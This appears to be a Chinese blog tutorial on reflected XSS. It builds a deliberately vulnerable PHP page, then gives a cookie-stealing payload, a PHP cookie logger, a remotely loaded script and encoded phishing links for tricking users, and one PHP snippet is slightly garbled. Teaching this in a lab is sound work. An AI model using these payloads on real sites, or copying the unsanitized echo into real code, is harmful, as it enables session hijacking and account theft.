0x00 XSS
XSS,跨站脚本攻击(Cross Site Scripting),恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页之时,嵌入其中 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。比如获取用户 Cookie,会话劫持,钓鱼欺骗等多种攻击。
0x01 XSS 的原理
XSS 的原理其实也就是上面所说,恶意攻击者往 Web 页面里插入恶意 html 代码,当用户浏览该页之时,嵌入其中 Web 里面的 html 代码会被执行,从而达到恶意攻击用户的特殊目的。
HTML 的 script 元素标记中间包含 JavaScript,当浏览器遇到这一标记时,它不会将其内容处理成 HTML 或者 XHTML,而是把对于其内容的控制权移交给另一个内置的浏览器代理——脚本处理引擎。又,Web 浏览器本身的设计是不安全的,它只负责解释和执行 JavaScript 等脚本语言,而不会判断代码是否有害。
0x02 XSS 的危害
XSS 在 OWASP 中一直占据着前十的地位,虽然表面上 XSS 不像 sql 注入、文件上传之类的漏洞一样直接可以获得很高的权限,但是因为 xss 漏洞广泛存在于各类网站之中,运用起来灵活多变,所以深受黑客偏爱。
它的常见危害有:
- (1)网络钓鱼,盗取各类用户的账号
- (2)窃取用户 Cookie,获取用户隐私,或者利用用户身份进一步执行操作
- (3)劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志等
- (4)强制弹出广告页面,刷流量等
- (5)传播木马
0x03 漏洞复现
首先我们要搭建漏洞环境,这里我们可以选用之前博客中提到的的 LAMP 环境,也可以搭建一个 wamp 环境,这里为了方便,我就在 windows 下搭建环境测试了,首先我们在 wamp 的 www/xss 文件夹下新建 test.php,然后输入如下内容(前后要有 html 标签):
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS test</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
setcookie('cookie','test');
$xss = $_GET['xss_input'];
echo 'your input is:<br>'.$xss;
?>
</body>
然后保存并打开 wamp 服务
通过浏览器访问 127.0.0.1/xss/test.php 来访问刚才创建的页面,
我们在输入框输入,点击提交,发现出现有如下图的 xss 的弹窗,此时环境搭建完成。
0x04 漏洞利用
如果只是控制弹窗,我们并不能直观的看到它的危害,下来我们尝试利用 xss 漏洞,看看能做到什么程度。
XSS 最经常使用的就是获取 Cookie 了,攻击者通常利用网站的 xss 漏洞向页面写入窃取 Cookie 信息的代码,在用户浏览网页时,攻击者就会获取受害者当前浏览器中的 Cookie 信息。此时攻击者可以将 Cookie 信息向服务器提交,然后以受害者的身份登陆网站。
我们尝试一个最简单的反射型 xss 获取用户 cookie。
我们先在自己的远程服务器上写一个 php 页面和一个 js 脚本来接收 Cookie 并保存:
hk.php:
cookie = _GET["q"];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
这段代码的作用是读取 q 的值,然后以增加的方式打开 cookie.txt,然后将读取到的值写入 cookie.txt。
然后我们在漏洞页面构造如下(要加上 script 标签)xss:
var x=new Image();x.src="http://127.0.0.1/xss/hk/hk.php?q="+document.cookie;
然后我们发现,cookie.txt 中,已经有我们刚才页面的 cookie 了
并且查看源代码,发现源代码中有这样一句 javascript
这个时候,如果把下面链接发送给别人,别人点到就可以获取它的 cookie 了
http://127.0.0.1/xss/test.php?
xss_input=%3Cscript%3Evar+x%3Dnew+Image%28%29%3Bx.src%3D%22http
%3A%2F%2F127.0.0.1%2Fxss%2Fhk%2Fhk.php%3Fq%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E
虽然这样可以达成效果,但是我们发现,恶意代码都明明显显的写到 url 中了,很少会有人上当,而且 url 长度太长,遇到某些不能输入这么长 js 脚本的输入框怎么办?
所以就有了一个更好的解决办法,那就是将 js 脚本写到自己的服务器中,在搜索框中只需要调用咱们自己服务器上面的脚本就可以了。
我们在自己服务器中和刚才的 hk.php 同路径创建一个 hk.js
hk.js:
var x=new Image();
x.src="http://127.0.0.1/xss/hk/hk.php?q="+document.cookie;
然后在漏洞界面写入如下 xss:
《script src = http://127.0.0.1/xss/hk/hk.js><‘/’script>
发现结果 cookie.txt 多了一行
并且源码中的 javascript 如下
然后我们构造一个链接来欺骗用户
http://127.0.0.1/xss/test.php?xss_input=%3Cscript+src+%3D+http%3A%2F%2F127.0.0.1%2Fxss%2Fhk%2Fhk.js%3E%3C%2Fscript%3E
只要用户点击此链接,cookie 就会被记录到我们服务器上的 cookie.txt 里面。
以上就是一次反射性 xss 最简单的利用方式。
0x05 总结
xss 漏洞因为其危害不直观,往往不受到重视,但是它的运用十分灵活,绕过方式也和 sql 注入一样十分丰富,在有些时候可以达到意想不到的效果。
这次暂时就写到这里,下一篇关于 xss 的博客会详细的介绍 xss 的一些绕过检测和限制的方式,还有利用 xss 进行网络钓鱼以及网页挂马的方法。
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于